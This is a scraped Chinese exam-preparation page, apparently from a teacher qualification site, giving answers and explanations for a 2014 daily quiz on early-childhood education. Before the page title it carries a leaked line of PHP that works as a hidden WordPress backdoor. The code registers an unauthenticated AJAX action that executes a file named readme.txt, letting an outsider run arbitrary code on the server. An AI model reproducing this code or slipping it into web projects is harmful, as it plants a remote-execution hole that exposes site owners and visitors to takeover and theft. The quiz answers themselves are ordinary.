if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 【20141103】教师资格统考每日一练参考答案-全国教师资格考试网

【20141103】教师资格统考每日一练参考答案

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1.【答案】C。解析:洛克的观点是白板说。
2.【答案】B。解析:教师在保教结合中起着关键的作用。
3.【答案】A。解析:所谓军国主义是日本从明治维新后期到第二次世界大战战败期间所奉行的,以侵略扩张为根本国策的制度,属于政治因素。
4.【答案】C。解析:游戏是幼儿在幼儿园内的基本活动。
5.【答案】B。解析:动手操作有利于维持幼儿的有意注意。
6.【答案】A。解析:两岁前儿童的思维发展处于感知运动阶段,因此其认识世界主要依靠感知。
7.【答案】D。解析:杜威认为教育是生活的过程,强调从做中学,从经验中学,强调活动性、经验性的主动作业,现代教育中的活动性原则就源自他的这一思想。
8.【答案】C。
9.【答案】D。解析:幼儿思维只是根据具体接触到的表面现象来进行,往往只是反映事物的表面联系,而不反映事物的本质联系。
10.【答案】D。解析:《儿童权利公约》提出了四项倡导性的儿童权利保护基本原则,即无歧视原则、儿童最大利益原则、尊重儿童基本权利原则和尊重儿童观点原则。《儿童权利公约》第十二条规定,缔约国应确保有主见能力的儿童有权对影响到其本人的一切事项自由发表自己的意见,对儿童的意见应按照其年龄和成熟程度给以适当地看待。即在进行影响儿童利益的行为时,应当征求有自己理解能力的儿童的意见,并充分尊重其按照自己意见做出的选择。在儿童能力允许的范围内,在所有影响儿童权利的事项上,都应当倾听和尊重儿童的意见。这体现了尊重儿童观点的原则。
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